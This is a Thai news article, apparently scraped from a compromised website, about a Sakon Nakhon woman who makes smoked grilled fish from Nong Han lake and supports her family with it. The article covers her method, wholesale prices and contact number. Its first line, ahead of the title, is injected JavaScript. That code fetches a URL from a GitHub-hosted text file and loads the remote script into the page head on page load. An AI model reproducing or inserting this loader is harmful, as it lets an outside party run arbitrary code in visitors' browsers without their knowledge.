;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); สกลนคร ปลาย่างรมควันภูมิปัญญาชั้นยอด อีกหนึ่งวิธีถนอมอาหาร ยังขายรายได้ดี - ThaiReference | อาสาไทยยืนยัน
สกลนคร ปลาย่างรมควันภูมิปัญญาชั้นยอด อีกหนึ่งวิธีถนอมอาหาร ยังขายรายได้ดี

ที่บ้านเลขที่ 106 บ้านดอนตาลโง๊ะ ต.ฮางโฮง อำเภอเมือง จังหวัดสกลนคร ติดริมหนองหาร ซึ่งเป็นบ้านของ นางไพรัช ดวงคุณ อายุ 50 ปี ที่ยึดอาชีพแปรรูปปลาย่างรมควัน และยึดอาชีพนี้มานานกว่า 10 ปี เพราะพื้นที่อยู่ติดหนองหารน้ำท่วมการเกษตรทุกปีไม่สามารถทำนาในฤดูข้าวนาปีได้  จะรับซื้อปลาจากฟาร์มแห่งหนึ่งในอำเภอบางเลน จังหวัดนครปฐม โดยส่วนใหญ่เป็นปลาเนื้ออ่อน เช่น ปลากด ปลาเซือม ปลาดุก ปลาขาวไทย  ปลาสวาย ปลายี่สก แต่ละเดือนรับซื้อมาหลายรอบ ครั้งละ 10-15 ตัน ช่วงหน้านาก็จะไปรับปลาธรรมชาติที่ จ.สุรินทร์ จ.ศรีสะเกษ โดยเมื่อได้ปลามาก็เก็บปลาสดไว้ในถังน้ำแข็งขนาดใหญ่  พอถึงวันอังคาร พุธ พฤหัสและวันเสาร์ จะนำปลามาชำแหละโดยขั้นตอนจะต้องผ่านำไส้ออก และล้างปลาให้สะอาด ขอดเกล็ด ล้างเมือก ขี้ปลาก็จะนำไปเป็นปุ๋ยหมัก ก่อนจะนำไปตากแดดพอหมาดๆ เพื่อไม่ให้ติดตะแกรงย่าง

จากนั้นก็นำไปย่างด้วยไฟอ่อนๆ ด้วยกาบมะพร้าว กลับพลิกปลาไป-มาจนสุกสีสวยเหลืองทั้ง 2 ด้าน จึงนำปลาที่สุกไปรมควัน ย่างไฟอ่อนๆ 4-6 ชั่วโมง เป็นการถนอมอาหารสามารถยืดอายุอาหารออกไป เสร็จแล้วก็นำไปเสียบไม้ แพ็คเข้าถุงเป็นอันจบสิ้นขั้นตอน ซึ่งเมนูปลาย่างรมควันทำได้สารพัด  เช่น ปิ้งย่าง ทอด แกงอ่อม โดยวันไหนไม่มีแดดก็จะงดชำแหละและงดตาก ถือว่าเป็นอาชีพที่รับช่วงมาจากมารดา

ซึ่งมารดาทำอาชีพนี้มากว่า 30 ปี ส่วนตนก็ประกอบอาชีพนี้เป็นรุ่นที่ 2 มีรายได้พอส่งลูกเรียนจนจบปริญญา อาชีพนี้เป็นอาชีพที่หนักพอสมควร ทำงานแข่งเวลา เมื่อนำไปขายก็ต้องไปตลาดตั้งแต่ตี 2 หาตลาดและส่งลูกค้าไปเรื่อยๆ ราคาส่งจะอยู่ที่ไม้ละ 20 บาท ลูกค้าก็จะนำไปขายต่อที่ 25-30 บาท 1 ไม้  ก็จะมีปลา 3-4 ตัวแล้วแต่ขนาดในหมู่บ้านก็มีทำอาชีพนี้ 3-4 ราย เมื่อก่อนทำเป็นวิสาหกิจชุมชน แต่ช่วงหลังมาทำเองเพราะยุ่งยาก มีกลุ่มแม่บ้านจากต่างประเทศสนใจอยากจะรับไปจำหน่ายต้องคิดดูก่อนว่าจะทำทันไหม ส่วนใครที่สนใจอยากได้ไปรับประทานหรือจำหน่าย สามรถติดต่อที่เบอร์  นางไพรัช  โทร.089 6899 409

@chaijexu

สกลนคร ปลาย่างรมควันภูมิปัญญาชั้นยอด อีกหนึ่งวิธีถนอมอาหาร ยังขายรายได้ดี

♬ เสียงต้นฉบับ – Chaij Exu – Chaij Exu

วัฒนะ แก้วก่า/สกลนคร

[dsm_icon_divider use_icon=”on” font_icon=”||divi||400″ use_icon_font_size=”on” icon_font_size=”25px” divider_style=”dashed” _builder_version=”4.25.2″ _module_preset=”default” module_alignment=”center” global_colors_info=”{}”][/dsm_icon_divider]
[dsm_blog_carousel posts_number=”20″ posts_offset=”1″ include_categories=”3,5,4″ use_date=”off” use_category=”on” use_author=”off” use_readmore=”on” readmore_text=”อ่านเพิ่ม…” post_equal_height=”on” _builder_version=”4.25.2″ _module_preset=”default” title_font_size=”25px” min_height=”482px” custom_margin=”||639px||false|false” custom_padding=”||340px|||” global_colors_info=”{}”][/dsm_blog_carousel]